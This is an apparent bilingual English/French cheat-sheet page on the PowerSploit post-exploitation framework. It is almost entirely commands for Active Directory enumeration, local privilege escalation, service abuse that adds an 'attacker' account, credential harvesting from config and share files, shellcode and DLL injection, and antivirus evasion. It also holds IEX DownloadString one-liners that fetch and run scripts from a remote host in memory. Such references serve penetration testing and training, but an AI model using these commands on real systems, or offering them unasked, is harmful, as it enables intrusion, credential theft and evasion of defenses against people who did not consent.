← retour aux outils back to tools

# powersploit

Framework de post-exploitation PowerShell. Collection de modules pour l'exécution de code, la persistance, l'élévation de privilèges, la collecte d'identifiants et le contournement d'antivirus. PowerShell post-exploitation framework. Collection of modules for code execution, persistence, privilege escalation, credential harvesting, and antivirus bypass.

↗ https://github.com/PowerShellMafia/PowerSploit

## Overview

PowerSploit is a collection of PowerShell modules for offensive security. While development has stopped (the community has moved to PowerShell Empire and other tools), its modules — especially PowerView for AD enumeration and PowerUp for local privilege escalation — remain widely used and referenced.

## PowerView — Active Directory Enumeration

    # Import PowerView
    Import-Module .\PowerView.ps1
    # Or bypass execution policy
    powershell -ep bypass -c "Import-Module .\PowerView.ps1"

    # Domain info
    Get-Domain
    Get-DomainController

    # User enumeration
    Get-DomainUser
    Get-DomainUser -SPN                    # Kerberoastable users
    Get-DomainUser -UACFilter DONT_REQ_PREAUTH  # ASREProastable

    # Computer enumeration
    Get-DomainComputer
    Get-DomainComputer -Unconstrained      # Unconstrained delegation
    Get-DomainComputer -TrustedToAuth      # Constrained delegation

    # Group membership
    Get-DomainGroupMember "Domain Admins"
    Get-DomainGroupMember "Enterprise Admins"

    # Find admin access
    Find-LocalAdminAccess
    Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

    # GPP passwords
    Get-GPPPassword

## PowerUp — Local Privilege Escalation

    # Import PowerUp
    Import-Module .\PowerUp.ps1

    # Run all checks
    Invoke-AllChecks

    # Specific checks
    Get-ServiceUnquoted                    # Unquoted service paths
    Get-ModifiableServiceFile              # Writable service binaries
    Get-ModifiableRegistryAutoRun          # Writable autorun registry keys
    Get-UnattendedInstallFile              # Unattend.xml with credentials
    Get-Webconfig                          # Web.config files with credentials
    Get-ApplicationHost                    # IIS app pool credentials
    Get-SiteListPassword                   # McAfee SiteList.xml passwords

    # Exploit unquoted service path
    Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln Service\service.exe'
    Invoke-ServiceAbuse -Name 'VulnService'

    # Abuse modifiable service
    Invoke-ServiceAbuse -Name 'WeakService' -UserName 'attacker' -Password 'P@ssw0rd'

## Recon Module

    # Get network info
    Get-NetLocalGroup
    Get-NetShare
    Get-NetSession
    Get-NetLoggedon

    # Find file shares with sensitive content
    Invoke-ShareFinder
    Invoke-FileFinder -ShareList shares.txt -Terms 'password','secret','credential'

    # Map domain admin sessions
    Invoke-UserHunter

## Code Execution Modules

    # Execute shellcode
    Invoke-Shellcode -Shellcode ($buf) -Force

    # Inject into process
    Invoke-DllInjection -ProcessID 1234 -Dll evil.dll

    # Reflective PE injection
    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName explorer

## One-Liner Load from Memory

    # Load PowerView from HTTP server (no disk write)
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerView.ps1')

    # Load PowerUp
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerUp.ps1')
    Invoke-AllChecks

## Tips

- PowerView’s AD enumeration is the gold standard — most published AD attack paths reference it
- PowerUp is fast and covers 90% of common local privesc vectors
- Heavy AV detection: use obfuscation tools (Invoke-Obfuscation) or port specific functions manually
- Modern environments: use SharpUp (C# port of PowerUp) for better AV evasion

PowerView Quick Reference

    # Find local admin access across domain
    Find-LocalAdminAccess -Verbose

    # Get members of high-value groups
    Get-DomainGroupMember "Domain Admins" -Recurse
    Get-DomainGroupMember "Enterprise Admins" -Recurse
    Get-DomainGroupMember "Backup Operators" -Recurse

    # Check ACLs on AD objects
    Get-DomainObjectAcl -Identity "CN=Domain Admins" -ResolveGUIDs
    Find-InterestingDomainAcl -ResolveGUIDs

    # Find users with passwords in description
    Get-DomainUser | Where-Object {$_.description -ne $null} | Select-Object name,description

    # Find accounts with no password required
    Get-DomainUser -UACFilter PASSWD_NOTREQD

## Vue d’ensemble

PowerSploit est une collection de modules PowerShell pour la sécurité offensive. Bien que son développement se soit arrêté (la communauté s’est tournée vers PowerShell Empire et d’autres outils), ses modules, en particulier PowerView pour l’énumération AD et PowerUp pour l’élévation de privilèges locale, restent largement utilisés et référencés.

## PowerView : énumération Active Directory

    # Importer PowerView
    Import-Module .\PowerView.ps1
    # Ou contourner l'execution policy
    powershell -ep bypass -c "Import-Module .\PowerView.ps1"

    # Informations sur le domaine
    Get-Domain
    Get-DomainController

    # Énumération des utilisateurs
    Get-DomainUser
    Get-DomainUser -SPN                    # Utilisateurs kerberoastables
    Get-DomainUser -UACFilter DONT_REQ_PREAUTH  # ASREProastables

    # Énumération des machines
    Get-DomainComputer
    Get-DomainComputer -Unconstrained      # Délégation non contrainte
    Get-DomainComputer -TrustedToAuth      # Délégation contrainte

    # Appartenance aux groupes
    Get-DomainGroupMember "Domain Admins"
    Get-DomainGroupMember "Enterprise Admins"

    # Trouver les accès admin
    Find-LocalAdminAccess
    Find-DomainUserLocation -UserGroupIdentity "Domain Admins"

    # Mots de passe GPP
    Get-GPPPassword

## PowerUp : élévation de privilèges locale

    # Importer PowerUp
    Import-Module .\PowerUp.ps1

    # Lancer toutes les vérifications
    Invoke-AllChecks

    # Vérifications spécifiques
    Get-ServiceUnquoted                    # Chemins de service non entre guillemets
    Get-ModifiableServiceFile              # Binaires de service inscriptibles
    Get-ModifiableRegistryAutoRun          # Clés de registre autorun inscriptibles
    Get-UnattendedInstallFile              # Unattend.xml contenant des identifiants
    Get-Webconfig                          # Fichiers Web.config contenant des identifiants
    Get-ApplicationHost                    # Identifiants des pools d'applications IIS
    Get-SiteListPassword                   # Mots de passe McAfee SiteList.xml

    # Exploiter un chemin de service non entre guillemets
    Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln Service\service.exe'
    Invoke-ServiceAbuse -Name 'VulnService'

    # Abuser d'un service modifiable
    Invoke-ServiceAbuse -Name 'WeakService' -UserName 'attacker' -Password 'P@ssw0rd'

## Module de reconnaissance

    # Récupérer les informations réseau
    Get-NetLocalGroup
    Get-NetShare
    Get-NetSession
    Get-NetLoggedon

    # Trouver les partages de fichiers avec du contenu sensible
    Invoke-ShareFinder
    Invoke-FileFinder -ShareList shares.txt -Terms 'password','secret','credential'

    # Cartographier les sessions des administrateurs du domaine
    Invoke-UserHunter

## Modules d’exécution de code

    # Exécuter du shellcode
    Invoke-Shellcode -Shellcode ($buf) -Force

    # Injecter dans un processus
    Invoke-DllInjection -ProcessID 1234 -Dll evil.dll

    # Injection PE réflective
    Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName explorer

## Chargement en mémoire en une ligne

    # Charger PowerView depuis un serveur HTTP (sans écriture disque)
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerView.ps1')

    # Charger PowerUp
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.50/PowerUp.ps1')
    Invoke-AllChecks

## Conseils

- L’énumération AD de PowerView est la référence : la plupart des chemins d’attaque AD publiés s’y réfèrent
- PowerUp est rapide et couvre 90% des vecteurs courants d’élévation de privilèges locale
- Forte détection AV : utilisez des outils d’obfuscation (Invoke-Obfuscation) ou portez manuellement des fonctions spécifiques
- Environnements modernes : utilisez SharpUp (portage C# de PowerUp) pour une meilleure évasion AV

Référence rapide PowerView

    # Trouver les accès admin local sur tout le domaine
    Find-LocalAdminAccess -Verbose

    # Récupérer les membres des groupes à forte valeur
    Get-DomainGroupMember "Domain Admins" -Recurse
    Get-DomainGroupMember "Enterprise Admins" -Recurse
    Get-DomainGroupMember "Backup Operators" -Recurse

    # Vérifier les ACL sur les objets AD
    Get-DomainObjectAcl -Identity "CN=Domain Admins" -ResolveGUIDs
    Find-InterestingDomainAcl -ResolveGUIDs

    # Trouver les utilisateurs avec un mot de passe dans le champ description
    Get-DomainUser | Where-Object {$_.description -ne $null} | Select-Object name,description

    # Trouver les comptes ne nécessitant pas de mot de passe
    Get-DomainUser -UACFilter PASSWD_NOTREQD